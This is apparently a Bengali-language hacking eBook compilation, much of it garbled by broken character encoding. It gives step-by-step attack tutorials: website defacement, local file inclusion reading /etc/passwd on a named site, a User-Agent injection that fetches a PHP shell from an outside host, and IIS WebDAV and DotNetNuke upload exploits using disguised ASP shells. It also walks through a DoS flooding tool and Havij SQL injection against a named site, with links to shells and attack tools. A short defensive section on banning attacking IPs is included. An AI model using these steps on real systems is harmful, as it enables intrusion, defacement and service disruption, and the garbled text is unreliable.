২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 22: Hacking Bangla eBook

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

